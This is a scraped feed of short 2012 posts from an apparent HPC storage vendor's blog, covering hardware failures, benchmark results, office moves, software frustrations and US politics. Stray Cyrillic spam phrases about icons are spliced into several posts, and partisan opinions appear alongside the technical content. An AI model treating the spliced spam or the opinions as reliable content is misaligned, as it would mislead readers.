0.000 eth1: addr not set/mask not set 1500 0.000 0.000 eth10: addr not set/mask not set 1500 0.000 0.000 eth11: addr not set/mask not set 1500 0.000 0.000 eth12: addr not set/mask not set 1500 0.000 0.000 eth13: addr not set/mask not set 1500 0.000 0.000 eth14: addr not set/mask not set 1500 0. https://blog.scalability.org/2012/05/its-alive/ Thu, 17 May 2012 20:24:40 +0000 https://blog.scalability.org/2012/05/its-alive/ Our little skunkworks project boots!!! Mwahahahaha! Must check off on our list design build boot ??? profit (or something)! Note to self: work on eeeeevul laughter …. And get step 4 ironed out too. https://blog.scalability.org/2012/05/after-4-years-our-deskside-jackrabbit-unit-decided-to-shrug-off-its-mortal-coil/ Wed, 16 May 2012 20:12:37 +0000 https://blog.scalability.org/2012/05/after-4-years-our-deskside-jackrabbit-unit-decided-to-shrug-off-its-mortal-coil/ икона за подарък… and in the process, take down a drive, 5 of its friends, and our RAID card. We have backups from before the move (15+ days old … sigh). We’ve decided to go full monty on the new unit. Its a JackRabbit JR4 with 12x 2TB drives, 2 hot spares, and 10 disk RAID6 (8x data drives). 2x OS drives (on SSDs, rear mount). Leaves us 12 open bays. https://blog.scalability.org/2012/05/3822/ Wed, 16 May 2012 01:24:37 +0000 https://blog.scalability.org/2012/05/3822/ So in order to (really) bring my monitoring app into the modern age, I want to change its flow from a synchronous on-demand event driven analysis and reporting tool, to an asynchronous monitoring and analysis tool, with an on-demand “report” function which is basically a presentation core atop the data set. There are many reasons for this. Not the least of which is that this should be far more efficient at handling what I want to do … not to mention more responsive. https://blog.scalability.org/2012/05/spam-that-made-my-day/ Tue, 15 May 2012 19:51:12 +0000 https://blog.scalability.org/2012/05/spam-that-made-my-day/ This is seriously … seriously funny. Note the addresses. ROTFLMAO!!!! https://blog.scalability.org/2012/05/every-now-and-then-the-truth-leaks-out/ Tue, 15 May 2012 17:26:30 +0000 https://blog.scalability.org/2012/05/every-now-and-then-the-truth-leaks-out/ Good article from Matt Asay in The Register today. This is about as truthful as it gets. There are many tiny startups, pulling in various fractions of $1M to more than $10M to develop … product features. Is this really the right approach for VCs? And this opens up some interesting new questions on startups and their product offerings themselves. Take Netflix. Running on Amazon S3. And what does Amazon do? https://blog.scalability.org/2012/05/on-my-fun-end-of-a-week/ Tue, 15 May 2012 07:00:45 +0000 https://blog.scalability.org/2012/05/on-my-fun-end-of-a-week/ (this was actually a while ago, just getting to publishing it now). Friday, I drove up to a local University to drop off our bid. I sent a note beforehand to let them know I might be a few minutes late, there was construction. Sure enough, got caught in a 30 minute slowdown. I was 13 minutes late. They said, “hey thats great. We won’t look at it” Then on the way back, the old landlord refused to acknowledge that we were tenants, so they refused to refund our deposit. https://blog.scalability.org/2012/05/2-out-of-3-aint-bad/ Tue, 15 May 2012 06:46:06 +0000 https://blog.scalability.org/2012/05/2-out-of-3-aint-bad/ No, not Meatloaf lyrics. A few years ago, I guessed that the HPC market was going to bifurcate or possibly trifurcate. Well, its about 3 years on, and bifurcate it did. Accelerators (in the form of GPUs) are everywhere. I was dead on correct in almost every aspect of what I had predicted (privately to VCs, from whom we couldn’t raise a cent in the early/mid 2000’s for this market). Remote cluster/clouds with dropping prices per CPU hour are taking over sections of HPC, and we see some impact upon purchase decisions made by people buying clusters. https://blog.scalability.org/2012/05/parsing-apache-logs/ Mon, 07 May 2012 03:43:21 +0000 https://blog.scalability.org/2012/05/parsing-apache-logs/ Seems I’m not alone in the world wanting to parse apache log files. I googled lots of people bitterly complaining about it. Some folks wanted to write a grammar, and a flex/yacc/bison thingy. I am sure that there are some Java programmers who’ve been working on this … oh … 6 or 7 years or so, and may be approaching a solution, with a Java byte code only slightly below 1 PB in size. https://blog.scalability.org/2012/05/good-programming-tools-and-good-program-implementation/ Sun, 06 May 2012 17:14:31 +0000 https://blog.scalability.org/2012/05/good-programming-tools-and-good-program-implementation/ Way back in my early days at web programming stuff, I started out with HTML::Mason as a templating engine. There is nothing wrong with Mason, its actually quite good. But it encourages the same sort of “code-in-page” designs that the entire language of PHP was built around. I’m mostly a Perl guy for application level stuff these days … have done my time with Fortran, Python, x86 assembly, C/C++, and many others. https://blog.scalability.org/2012/05/companys-email-and-web-are-now-on-ec2/ Sun, 06 May 2012 16:34:32 +0000 https://blog.scalability.org/2012/05/companys-email-and-web-are-now-on-ec2/ Turns out Comcast doesn’t follow through (even when you call them many times to try to get them to). Thanks #Comcast . On Thursday, I bought a Mifi (pay as you go) from Verizon. Got it into the office. Had moved the web/mail stuff to Amazon EC2 “just in case” Comcast pulled a … well … Comcast. Yeah, took me a little while to fix the email and web side. We’ve been using our router appliance as our SOA for dns, and I had to unplug it at the old site (got everything out before 5pm Friday). https://blog.scalability.org/2012/05/what-high-performance-storage-isnt/ Sun, 06 May 2012 15:51:43 +0000 https://blog.scalability.org/2012/05/what-high-performance-storage-isnt/ This happens often. We get a call from a user whose seen my postings in the Gluster or other lists. They’ve set up a storage system, and the performance is terrible. Is there anything that can be done about this? We dig into this, and find out that the people bought hardware, usually fairly low end/cheap brand name (e.g. tier 1) nodes, with limited disk options, and are running 1 disk for OS, and have another single larger SATA or SAS disk for storage. https://blog.scalability.org/2012/05/and-old-faces-leaving-and-new-joining/ Thu, 03 May 2012 01:56:44 +0000 https://blog.scalability.org/2012/05/and-old-faces-leaving-and-new-joining/ One of our guys has left the organization. This is always hard. He is a good person, I like him a great deal. But I understand that sometimes there isn’t as good a fit as we might like there to be. If you happen to know a great HPC organization that needs an awesome senior sales dude, please email at the day job (landman At ScalableInformatics.com), and I’ll pass the contact along to him. https://blog.scalability.org/2012/05/new-office/ Thu, 03 May 2012 01:53:53 +0000 https://blog.scalability.org/2012/05/new-office/ … movers pick up the old office bits tomorrow, and bring it to the new office. Have some (re)construction to do, some racks to stand up, an AC unit to hook up … and then the important things (which I learnt from my friends and customers in the UK) … a refrigerator and good cappuccino machine to buy … https://blog.scalability.org/2012/05/something-awesome-this-way-comes/ Thu, 03 May 2012 01:51:43 +0000 https://blog.scalability.org/2012/05/something-awesome-this-way-comes/ Ever had an OMFG moment? Ever wish you could share it? In time, in time. https://blog.scalability.org/2012/05/q-so-why-did-this-go-bang/ Thu, 03 May 2012 01:47:32 +0000 https://blog.scalability.org/2012/05/q-so-why-did-this-go-bang/ A: I updated the OS. Bad … bad Joe. Very bad. Don’t do that. Baaaaaaad Joe. … and now I get to fix the email, and the file server portion … and … Thank gosh for my … er … paranoid backing up of useful things. Pack-rat-ism is not a disease … its a quality … a feature. https://blog.scalability.org/2012/04/python-grrrr/ Thu, 26 Apr 2012 03:12:06 +0000 https://blog.scalability.org/2012/04/python-grrrr/ Hacking up some python classes and object bits for a project. Honestly, this would be soooooo much easier in Perl, but for a number of reasons, the person started it in Python. So we are trying to contribute. And I am running into some of the more joyous elements of python. Such as completely inane error messages which tell you next to zero about what the real problem is. Thankfully, I have google. https://blog.scalability.org/2012/04/ahhh-ipsec-how-i-loath-thee/ Wed, 25 Apr 2012 15:09:32 +0000 https://blog.scalability.org/2012/04/ahhh-ipsec-how-i-loath-thee/ Ok, maybe not the spec so much. Maybe just the client codes. Working on setting up an IPsec tunnel. The only IPsec implementation that I’ve tried on the client side that actually seems to work (e.g. get to a point where I can debug it) is Apple’s. Haven’t tried the Cisco yet, we don’t have a support contract with them, so we can’t download it and test it. Since we are setting this up for a customer who does, either we’ll VPN into their site and set it up, or work something out. https://blog.scalability.org/2012/04/ot-as-the-political-season-rolls-on/ Wed, 25 Apr 2012 15:01:48 +0000 https://blog.scalability.org/2012/04/ot-as-the-political-season-rolls-on/ I’ve mentioned it before here, that this is a presidential election year in the US, and I expect it to be a nasty one, at best. We in the states largely fall into one of two major parties, with some of us proclaiming independence or preference for other parties in the noise. The media in this country is biased pretty hard in one direction with one solitary exception. Every now and then they admit it (as the NY Times did a few days ago). https://blog.scalability.org/2012/04/epic-failure-apple-security-mismatches/ Mon, 23 Apr 2012 15:39:02 +0000 https://blog.scalability.org/2012/04/epic-failure-apple-security-mismatches/ Was trying to install an app on Saturday. Up popped a request for more information, including a second attempt at getting my password, and then 3 “security” questions, including “What city was I first kissed in.” Um. Ok. That is an EPIC FAIL in and of itself, but lets go on to the real … BIG EPIC FAIL. The security questions presented on the Apple app do not match those, or even come close to matching those on the appleid. https://blog.scalability.org/2012/04/the-tb-sprint-updated/ Mon, 23 Apr 2012 06:18:25 +0000 https://blog.scalability.org/2012/04/the-tb-sprint-updated/ Previous results here. 12.4TB/hour. A new JackRabbit unit with some updates. New results: 1TB written in 228.2 seconds. 15.8TB/hour writes Run status group 0 (all jobs): WRITE: io=1024.6GB, aggrb=4597.1MB/s, minb=4597.1MB/s, maxb=4597.1MB/s, mint=228167msec, maxt=228167msec and for the reads … Run status group 0 (all jobs): READ: io=1024.6GB, aggrb=5341.9MB/s, minb=5341.9MB/s, maxb=5341.9MB/s, mint=196392msec, maxt=196392msec This is 18.3TB/hour reads. Writing 1PB on this machine would take almost 65 hours. So if we could break the writes across 65 machines (9 racks), we could write 1PB in 1 hour. https://blog.scalability.org/2012/04/phd-comics-the-movie/ Mon, 23 Apr 2012 03:25:16 +0000 https://blog.scalability.org/2012/04/phd-comics-the-movie/ See info here. https://blog.scalability.org/2012/04/oh-joy/ Fri, 20 Apr 2012 16:00:28 +0000 https://blog.scalability.org/2012/04/oh-joy/ Pretty good probability I’ll be needing to go to London this weekend to fix a problem caused by a somewhat overzealous local support org. See the motherboard post from a few days ago. Turns out they damaged the replacement they put in. I like London. I don’t like having to do this though. https://blog.scalability.org/2012/04/update-on-our-lawyergram/ Thu, 19 Apr 2012 05:16:42 +0000 https://blog.scalability.org/2012/04/update-on-our-lawyergram/ A few months ago, the bank which had foreclosed on our now former landlord executed what could be called a legal pressure manuever. They wanted us to buy the space we are renting. They threatened to sue us for back rent. Our lawyer skillfully deflected this, pointing out their several failures in the process. They finally admitted they were seeking to pressure us to buy it. Go figure. So we are about to move to a larger spot. https://blog.scalability.org/2012/04/the-danger-in-modifying-precision-built-and-tuned-machines/ Thu, 19 Apr 2012 05:08:20 +0000 https://blog.scalability.org/2012/04/the-danger-in-modifying-precision-built-and-tuned-machines/ … is that they won’t be precision tuned after you are done with them. And worse, much of this is self-inflicted in various cases. We try to ship absolutely peak performance machines. Tuned as much as possible, though in some cases, customers make requests that go against high performance. We try to explain the issues, but customers are always right, even when they aren’t. In a number of cases, customers wipe what we’ve done. https://blog.scalability.org/2012/04/hey-heres-a-nice-machine-lets-replace-its-motherboard/ Thu, 19 Apr 2012 04:53:10 +0000 https://blog.scalability.org/2012/04/hey-heres-a-nice-machine-lets-replace-its-motherboard/ Something like this just happened to one of our customers. I am aghast that this was done the way it was, but it was. One of these things where you don’t find out that there was a service issue until its “done”. For various definitions of “done”. I anticipate being on a phone call to Europe in a few hours to discuss my definition of “done” with the people who did this, and ask them if their definition of “done” includes the concept of operating correctly. https://blog.scalability.org/2012/04/mebbe-there-is-a-reason-that-i-am-in-fly-over-country/ Thu, 19 Apr 2012 04:29:48 +0000 https://blog.scalability.org/2012/04/mebbe-there-is-a-reason-that-i-am-in-fly-over-country/ So here I am, toiling in the salt mines (just don’t tell my wife its not really that bad), trying to eek out a living selling, servicing, and supporting some insanely fast storage kit to a range of customers, when I hear that Instagram had sold for $1B. My first thought. What the 4K (phonetic, just don’t say it out loud) is Instagram? And what did it do that made it worth $1B? https://blog.scalability.org/2012/04/way-way-back/ Tue, 17 Apr 2012 20:27:04 +0000 https://blog.scalability.org/2012/04/way-way-back/ … when I was at SGI … oh … 16 years ago or so, someone, for some reason sent me an email where they made some specious claims. I calmly pointed out to them where I caught their error, what the error was, and how they could fix it. They then proceeded to attack me in email, and started bugging me on my work phone. Later, after I had left SGI and started Scalable, someone had posted some rather poorly thought out discussion of something, and attacked me (again) for some rather idiotic reasoning. https://blog.scalability.org/2012/04/is-linkedin-just-usenet-with-a-pretty-face/ Tue, 17 Apr 2012 20:11:50 +0000 https://blog.scalability.org/2012/04/is-linkedin-just-usenet-with-a-pretty-face/ I am starting to think so. Had a little discussion with someone I thought would be professional, who made some interesting claims, and didn’t quite like it when challenged. And it devolved from there. I guess it is funny to see someone try to explain stuff to me, who doesn’t quite know my background, or experience, or … I’ve heard from others who believe that LinkedIn is as complete a waste of time as Facebook. https://blog.scalability.org/2012/04/ot-annoying-spammers/ Mon, 16 Apr 2012 16:31:33 +0000 https://blog.scalability.org/2012/04/ot-annoying-spammers/ Some idiots have taken our companies phone number, inserted it into their caller-id bits (seemingly with SIP phones), and have been harassing people. So we get frustrated people calling us, asking us if we called them. No we didn’t. I hate phone marketeers as much as everyone. This is really annoying. Can’t see any rational reason for this other than someone trying to steal the companies reputation. https://blog.scalability.org/2012/04/sadexciting-time-ahead/ Mon, 16 Apr 2012 14:57:59 +0000 https://blog.scalability.org/2012/04/sadexciting-time-ahead/ One of our customers has become fed up with the issues they’ve run into on Gluster. Started about a year ago, with some odd outages in the 3.0.x system, and didn’t improve with 3.2.x … in some instances it got worse. RDMA support in 3.0.x was pretty good, there were other bugs (which were annoying). The migration to 3.2.x was rocky. Libraries left from 3.0.x were somehow picked up and some things just failed. https://blog.scalability.org/2012/04/high-performance-firewall-with-a-nice-10gbe-port/ Mon, 16 Apr 2012 03:38:28 +0000 https://blog.scalability.org/2012/04/high-performance-firewall-with-a-nice-10gbe-port/ Have a customer with a hard problem. They need to handle very high data rate traffic, VPNs, and all manner of things. Imagine a GbE in (or more). They asked us to build a firewall that could handle this. Most of the appliance firewalls have some capability, but few will really survive a serious traffic onslaught. Most use very low power processors, on purpose, because most of the time the traffic isn’t intense. https://blog.scalability.org/2012/04/srp-joy/ Thu, 12 Apr 2012 14:47:34 +0000 https://blog.scalability.org/2012/04/srp-joy/ ok, not really. Late last night, while benchmarking some alternative mechanisms to connect {MD,OS}S to their respective {MD,OS}T for a Lustre design we are proposing for an RFP, I decided to revisit SRP. I liked SRP in the past, it was a simple protocol, SCSI over RDMA. How could you go wrong with this? Well, I found out last night. I put our stack on a DeltaV connected with a 10GbE and QDR IB ports to our respective switches. https://blog.scalability.org/2012/04/hadnt-seen-this-before-spot-on-though/ Sat, 07 Apr 2012 13:46:24 +0000 https://blog.scalability.org/2012/04/hadnt-seen-this-before-spot-on-though/ About the job prospects for your future, when you make the career and training choice to be a scientist. Or “If I knew then what I know now, I would have followed a different path”. I spent some time visiting my parents recently, and I groused to them that after ~7 years in grad school, I was, ostensibly, a PC technician. Yeah, I am running a profitable and growing company, making some of the fastest storage available. https://blog.scalability.org/2012/04/taking-siflash-ssd-out-for-a-spin-and-cracking-the-throttle/ Wed, 04 Apr 2012 04:41:46 +0000 https://blog.scalability.org/2012/04/taking-siflash-ssd-out-for-a-spin-and-cracking-the-throttle/ … half open. [update] video [FLOWPLAYER=http://scalability.org/wp-content/videos/screencast_video.flv,480,315] I won’t show the fio output until I get the unit back and get some more testing in. Also, I’ve discovered something … I guess … depressing about fio, in that what it reports for performance isn’t necessarily what the storage subsystem sees. This isn’t just fio, its pretty much all tools that talk to the file/storage API at a high level. The low level actual results (you have to grab data from the OS reporting infrastructure to see this) differ, sometimes wildly, from the high level API results. https://blog.scalability.org/2012/04/hpc-linux-on-wall-street-was-fun/ Wed, 04 Apr 2012 04:26:52 +0000 https://blog.scalability.org/2012/04/hpc-linux-on-wall-street-was-fun/ Spoke to lots of interesting people. Ran some benchmarks. Will talk about those next post. Found hits on the corporate site from a Yahoo stock board. Ok, that was interesting. Had a number of great conversations … before, during, and after the show. I am still in NY, working on a siCluster at a data center. https://blog.scalability.org/2012/03/looking-forward-to-the-hpc-linux-on-wall-street-conference/ Thu, 29 Mar 2012 05:25:54 +0000 https://blog.scalability.org/2012/03/looking-forward-to-the-hpc-linux-on-wall-street-conference/ Will be there with a new siFlash unit. Uses some new Flash and SSD devices. Should be able to talk about that soon. Whats cool is this is our chassis. Not a COTS chassis from one of the larger vendors. This is a new chassis we worked on designing with the ODM. The unit is a prototype, and sadly the motherboard we will use for this isn’t quite in full production yet, so we are using a stand in. https://blog.scalability.org/2012/03/this-is-huge-ussc-throws-out-gene-patents/ Mon, 26 Mar 2012 21:59:34 +0000 https://blog.scalability.org/2012/03/this-is-huge-ussc-throws-out-gene-patents/ If I read this correctly, this applies to all gene patents. Which opens up genes to multiple groups trying to target specific diseases. Its good for people as it increases the likelihood that no one company can “landgrab” a set of genes implicated in various diseases and do nothing with them. Its bad for companies business models attacking these diseases, especially smaller biotech/startups. The model wasn’t sound to begin with, you cannot patent nature or natural things. https://blog.scalability.org/2012/03/incredibly-busy-as-usual/ Thu, 22 Mar 2012 00:58:13 +0000 https://blog.scalability.org/2012/03/incredibly-busy-as-usual/ I have lots of drafts in queue, just not enough time to finish them. I’ll make a concerted effort this weekend. As an update to a previous post, I managed not to collapse during my brown belt test (had some respiratory issue going on … allergies, or a cold, or something). The kata were not “hard”, but they expect different things from you at higher rankings. You can’t go blasting through the kata like a robot (as I probably did with my first one). https://blog.scalability.org/2012/03/irrevocable-worldwide/ Thu, 15 Mar 2012 19:45:39 +0000 https://blog.scalability.org/2012/03/irrevocable-worldwide/ ХудожникEvery now and then we get customers asking us to perform only services under contract. They send us what they think their T&C; ought to be. Yeah … I especially like the lines the relieve us of our IP, our rights to collect royalties, our rights to what we develop, … Yeah. Ok, maybe not so much. I have to admit, when I see this, my first reaction is to start laughing. https://blog.scalability.org/2012/03/tiburon-extensions/ Sat, 10 Mar 2012 22:41:41 +0000 https://blog.scalability.org/2012/03/tiburon-extensions/ Basically, I can boot quite a few Linux systems completely stateless. I like this. Makes setting up clusters drop-dead simple. Makes setting up/testing hardware similarly simple. Where I am going with this: I’ve been playing with Solaris 11, and to a lesser extent, the Illumian distros for Solaris. So far, I like what I see in Solaris 11, and I like the Debian-ed version of Solaris in the Illumian distro. For the former, I want to see if we can formally offer this on our gear. https://blog.scalability.org/2012/03/code-angry-fixing-a-self-inflicted-bug-in-tiburon/ Sat, 10 Mar 2012 22:32:01 +0000 https://blog.scalability.org/2012/03/code-angry-fixing-a-self-inflicted-bug-in-tiburon/ I hate when I try to write generalized code up front. That is, I try to write a code base that is sufficiently generic that it works for all possible use cases. Some argue for this sort of development. I don’t like it. But I do fall into this every now and then. Tiburon suffered from some of this. I want one system to “bind them all, and in the PXE process, boot them. https://blog.scalability.org/2012/03/cool-bug-in-grub-in-centos-6-2-and-therefore-in-rhel-6-2/ Thu, 08 Mar 2012 05:39:19 +0000 https://blog.scalability.org/2012/03/cool-bug-in-grub-in-centos-6-2-and-therefore-in-rhel-6-2/ So if you are like us, you are a belt and suspenders person … you like multiple administrative modalities. You like them because you know they are needed. Because breakage usually happens at the least opportune time, and you need a way in to express your control. So we have KVM. And we have IPMI. And we have a serial over lan (replacing the old serial consoles). If you are more that 5 miles away from the gear, you will appreciate having these multiple modes. https://blog.scalability.org/2012/03/another-step-in-a-journey-of-many-miles/ Wed, 07 Mar 2012 20:58:04 +0000 https://blog.scalability.org/2012/03/another-step-in-a-journey-of-many-miles/ This is OT from HPC and from Storage. Sort of. The death this past week of Andrew Breitbart, whether you liked him, hated him, or hadn’t a clue who knew of him, again highlighted for me, the need to take time off, for me, every now and then. Just a few hours per week of time to get out and exercise. To burn off frustration from high on the pony scale discussions. https://blog.scalability.org/2012/03/thought-i-was-going-nuts/ Fri, 02 Mar 2012 17:28:53 +0000 https://blog.scalability.org/2012/03/thought-i-was-going-nuts/ Ran into this earlier in the week and thought it strange. Centos 6.2, brand new installation on a box that has had Centos 5.7 installed. Set of our newer RAID cards, 10GbE, and IB cards. This is our in-lab JackRabbit JR5 machine (happily still the fastest single spinning rust machine you can get in market). As soon as I start the PXE load … CRASH!!!! Kernel doesn’t panic, it just gets stuck. https://blog.scalability.org/2012/03/then-comes-the-realization/ Thu, 01 Mar 2012 17:08:25 +0000 https://blog.scalability.org/2012/03/then-comes-the-realization/ that to process all the requests, and service all the potential business we have, I’m gonna have to hire a Joe-clone (since cloning is illegal in Michigan for some reason). Possibly 2. Lets see if we get these contracts first, but this is a good problem to have. But back to the Joe-clone … would we be allowed to not pay a clone of me, or provide health coverage, as they were just another instance of the “Joe” object? https://blog.scalability.org/2012/02/back-from-the-uk-and-a-good-reason-to-drink-guiness/ Sun, 26 Feb 2012 15:57:47 +0000 https://blog.scalability.org/2012/02/back-from-the-uk-and-a-good-reason-to-drink-guiness/ I enjoyed my trip. Well, not the part of being away from my family, but there is much to see/experience in London. A curious difference between London and the UK in general and the US is the apparent lack of public restrooms (or WC’s if I have the right localization). Especially in a crowded space like Covent Garden. The customers in the UK (spent time with two at their sites, on the phone with ~5 across the world, and working with ~4 via email) have good problems (not as in blocking problems, but emergent problems that occur in a variety of use cases). https://blog.scalability.org/2012/02/check-one-item-off-my-bucket-list/ Sat, 18 Feb 2012 17:14:56 +0000 https://blog.scalability.org/2012/02/check-one-item-off-my-bucket-list/ Spent the early afternoon at Westminster Abbey. Saw the tomb/memorials of Sir Issac Newton (all of physics), James Clerk-Maxwell (electromagnetic theory), Faraday (magnetism), and PAM Dirac (quantum theory). A shame they didn’t have anything for Turing (or if I missed it, lemme know and I’ll go back). Also saw memorials and tombs for Shakespeare (he’s buried at Stratford on Avon I think), Chaucer, Jane Austen, Keats, Shelley, … Very nice place, highly recommend it. https://blog.scalability.org/2012/02/the-blame-game/ Fri, 10 Feb 2012 05:23:21 +0000 https://blog.scalability.org/2012/02/the-blame-game/ This isn’t what you might think from the title. Its an observation. I hope I don’t misstate what I intend to say, so feel free to chime in if you don’t agree with the wording. When you have a situation where a customer has a set of vendors, and a problem that needs resolution, the customer will gravitate towards assigning blame for the problem to the most competent of the vendors, the most proactive of the vendors, in the hope that it will be resolved, regardless of whether or not that vendor’s gear/stack is in any way involved. https://blog.scalability.org/2012/02/this-made-me-chuckle-a-bit-as-there-is-at-least-a-little-truth-to-it/ Fri, 10 Feb 2012 05:06:50 +0000 https://blog.scalability.org/2012/02/this-made-me-chuckle-a-bit-as-there-is-at-least-a-little-truth-to-it/ https://blog.scalability.org/2012/02/working-on-solving-a-problem-for-the-day-job/ Mon, 06 Feb 2012 18:29:32 +0000 https://blog.scalability.org/2012/02/working-on-solving-a-problem-for-the-day-job/ Long ago, I concluded that the day job was not a bank or credit granting institution. We aren’t equity financed at this time, have no finance arm/division with capital backing to provide large credit for customers to purchase with. And we have customers. Lots of them. Many/most asking for credit terms. But we can’t really float a loan of 1/5 of our yearly revenue for 90 days as some of these opportunities would require. https://blog.scalability.org/2012/02/well-id-call-this-the-best-commercial-i-saw/ Mon, 06 Feb 2012 04:07:10 +0000 https://blog.scalability.org/2012/02/well-id-call-this-the-best-commercial-i-saw/ In part, because they weren’t overtly … or even subtly … selling anything. You can see the commercials here. https://blog.scalability.org/2012/02/all-hail-the-new-york-giants/ Mon, 06 Feb 2012 03:00:55 +0000 https://blog.scalability.org/2012/02/all-hail-the-new-york-giants/ Good game … good game. Commercials were kinda lame though. https://blog.scalability.org/2012/02/sorry-about-that/ Sat, 04 Feb 2012 17:37:31 +0000 https://blog.scalability.org/2012/02/sorry-about-that/ Was working on a post about the upcoming US elections. It wasn’t ready. I had edited it a number of times, and hadn’t gotten my complete thoughts down. Managed to hit the publish button midway though. Pulled it down. It wasn’t ready for consumption. Short version: US politics, always a messy game, is going to be ugly this year. We have hard core ideologues arrayed on the (effectively 2) sides, unwilling to compromise their positions for a “greater good” of the body politic. https://blog.scalability.org/2012/02/ahhh-the-wafting-smell-of-election-year-politics/ Sat, 04 Feb 2012 16:04:23 +0000 https://blog.scalability.org/2012/02/ahhh-the-wafting-smell-of-election-year-politics/ СВЕТИ ГЕОРГИYeah, every few years we get some major stank drifting through our corner of the globe. This is going to be a very nasty election cycle. Very nasty. Many of the meme’s have been tried out against some of the candidates, and what stuck … well … stuck (and stunk). As usual, the good and bright people, the ones we need to be in office to help make hard decisions and leave … once again, these folks don’t seem to want all that goes with the process. https://blog.scalability.org/2012/02/highest-sustained-spinning-rust-write-speed-to-date-on-a-box/ Fri, 03 Feb 2012 18:41:51 +0000 https://blog.scalability.org/2012/02/highest-sustained-spinning-rust-write-speed-to-date-on-a-box/ Yeah … the day job hardware. Current generation. Single box. Single thread. Single file system. Run status group 0 (all jobs): WRITE: io=130692MB, aggrb=4702.9MB/s, minb=4815.8MB/s, maxb=4815.8MB/s, mint=27790msec, maxt=27790msec File size is several times RAM size.Икони на светци https://blog.scalability.org/2012/02/growth-at-day-job-last-year-60-ish/ Thu, 02 Feb 2012 15:48:26 +0000 https://blog.scalability.org/2012/02/growth-at-day-job-last-year-60-ish/ Considering the economy, the hard drive manufacturing issues in Thailand, etc. Yeah, this is pretty awesome. Gonna have a big tax bill. And yes, I am gonna grumble that the money would be better spent on ~3 new employees who would generate real economic activity, rather than sending it to the government to waste. Such is life. I don’t want to prognosticate for the year, just yet. But the trajectory we are on is making last year (our 3rd record year in a row), look … mild. https://blog.scalability.org/2012/02/busy-as-usual/ Thu, 02 Feb 2012 15:43:01 +0000 https://blog.scalability.org/2012/02/busy-as-usual/ I’ve been readying a UPS ripping post (not the function, but the company). May backburner that for now. But been really REALLY busy. This is very good, in all aspects. Have lots of opportunities, many quotes out, some telegraphed orders (we know they are coming, we’ve been told, working its way through the systems), … this is turning out to be a very good year, and its only 2-Feb. Hoping I have time to actually write that longer business model post. https://blog.scalability.org/2012/01/exactly/ Sun, 29 Jan 2012 02:15:48 +0000 https://blog.scalability.org/2012/01/exactly/ БогородицаArticle here. Its interesting that they make very similar points to what I’ve suggested in the past. Even more to the point, they bring up the very real specter of Lysenkoism rearing its ugly head … but now we can call it AGW-ism or CO2-ism. If you dare disagree with those in power, you will be fired and shunned. Lack of evidentiary support be damned, full speed ahead. Lysenko set back Soviet era biology by decades. https://blog.scalability.org/2012/01/every-now-and-then/ Tue, 24 Jan 2012 23:56:03 +0000 https://blog.scalability.org/2012/01/every-now-and-then/ Иконописwe give a quote to someone, they see a part number, find a vendor who is selling this at some enhanced discount for any number of reasons, and then ask us to match it. I am guessing that they don’t realize we actually compare our costs to various measures, and make sure our pricing is not out of whack (sometimes our suppliers just can’t seem to give us the same deals they give others, go figure). https://blog.scalability.org/2012/01/intel-snarfs-up-qlogic-infiniband/ Mon, 23 Jan 2012 19:10:28 +0000 https://blog.scalability.org/2012/01/intel-snarfs-up-qlogic-infiniband/ I guess this gets Qlogic out of the IB arena. Good catch by Rich at InsideHPC I had spoken to a number of folks at Intel over the years w.r.t. IB, and they said they were keeping their options open. IB riser boards are available for some of their MB’s, and from what I have seen, Intel has a renewed push into the MB space. Not sure about the server space in general, they’ve always had that and I think they will keep doing this (at least as a reference design basis). https://blog.scalability.org/2012/01/fun-with-primes/ Sun, 22 Jan 2012 05:42:51 +0000 https://blog.scalability.org/2012/01/fun-with-primes/ A long time ago, in a galaxy far … far … away … I’ve been playing with primes for a while … computing them, etc. Have a neat way to represent any natural number (exluding 0) in terms of the exponents of their prime factors. Lots of reasons for playing with this. Started doing this before joining SGI … many moons ago, and used it as a way to entertain myself on airplanes when the laptop battery ran out. https://blog.scalability.org/2012/01/a-few-months-into-the-gluster-acquisition-by-red-hat/ Sat, 14 Jan 2012 16:47:15 +0000 https://blog.scalability.org/2012/01/a-few-months-into-the-gluster-acquisition-by-red-hat/ … just received a note indicating that our Gluster Reseller contract was voided, and that we would be seeing a new partner portal for Red Hat Storage coming soon where we could apply again for reseller status. Hmmm …. Reading over the information I saw on the Red Hat storage platform, it looks like they are going full on appliance route, which diminishes the value we can potentially add to the platform, and removes much of the differentiation we can do at the stack level (better kernels, up to date drivers, tweaked/tuned drivers/OS, …). https://blog.scalability.org/2012/01/hmmm/ Sat, 14 Jan 2012 16:06:24 +0000 https://blog.scalability.org/2012/01/hmmm/ Saw this linked from /.. UEFI boot is to be replacing the old BIOS boot. There are positives about this and negatives. New software is always buggy, and UEFI won’t magically become bug free. UEFI has security controls for signed OS booting (ostensibly to protect users). But the abuse of security systems to exclude competitive/alternative booting … yeah … maybe not such a good idea. It looks like Microsoft is trying to demand that its hardware ARM partners not enable anything but Windows 8 or an equivalent signed OS (is Android signed? https://blog.scalability.org/2012/01/ot-what-is-and-what-should-never-be/ Thu, 05 Jan 2012 13:59:31 +0000 https://blog.scalability.org/2012/01/ot-what-is-and-what-should-never-be/ Had to get a Led Zeppelin reference in at least once a year on the blog … Pathology report came back. Ok, in the movie series The Matrix, there is a set of scenes where the story tellers want you to believe that the character (Neo in the clip below’s case) was moving with “super-human” speed, and able to move an accelerate a very large mass (their body) faster than a very tiny mass (the bullet). https://blog.scalability.org/2012/01/more-than-a-year-in-and-where-are-they-now/ Mon, 02 Jan 2012 15:03:50 +0000 https://blog.scalability.org/2012/01/more-than-a-year-in-and-where-are-they-now/ Its 2-January-2012, and assuming the Mayans' were wrong (ok technically I’ve not heard of any suggestion they did anything more than stop their calendar on a convenient-for-them boundary), an interesting question is, what has happened to the company-formerly-known-as-Sun’s HPC assets? Lustre is one of the most well known, and it now has some type of future ahead of it. I’ll talk about that in a later post. This future was most definitely not assured 1 year ago, and there was considerable uncertainty in its longevity as Oracle had, about a year ago, let go most of the developers. https://blog.scalability.org/2011/12/ot-t4-5-hours-the-waiting-is-the-hardest-part/ Thu, 29 Dec 2011 17:45:14 +0000 https://blog.scalability.org/2011/12/ot-t4-5-hours-the-waiting-is-the-hardest-part/ Bilateral Mastectomy with a sentinel node biopsy. The latter appears to be clean. I can exhale now. Well, mostly. The more detailed pathology data should be ready next week. The rebuilding part is in process. Another few hours. Readying some good jokes to keep the Mrs. happy. Let her know not to worry. U of M hospital guest internet is … annoying. Looks like they let 3 TCP ports out to the world (22, 80, 443). https://blog.scalability.org/2011/12/oh-no-more-code-golf/ Mon, 26 Dec 2011 15:03:21 +0000 https://blog.scalability.org/2011/12/oh-no-more-code-golf/ A 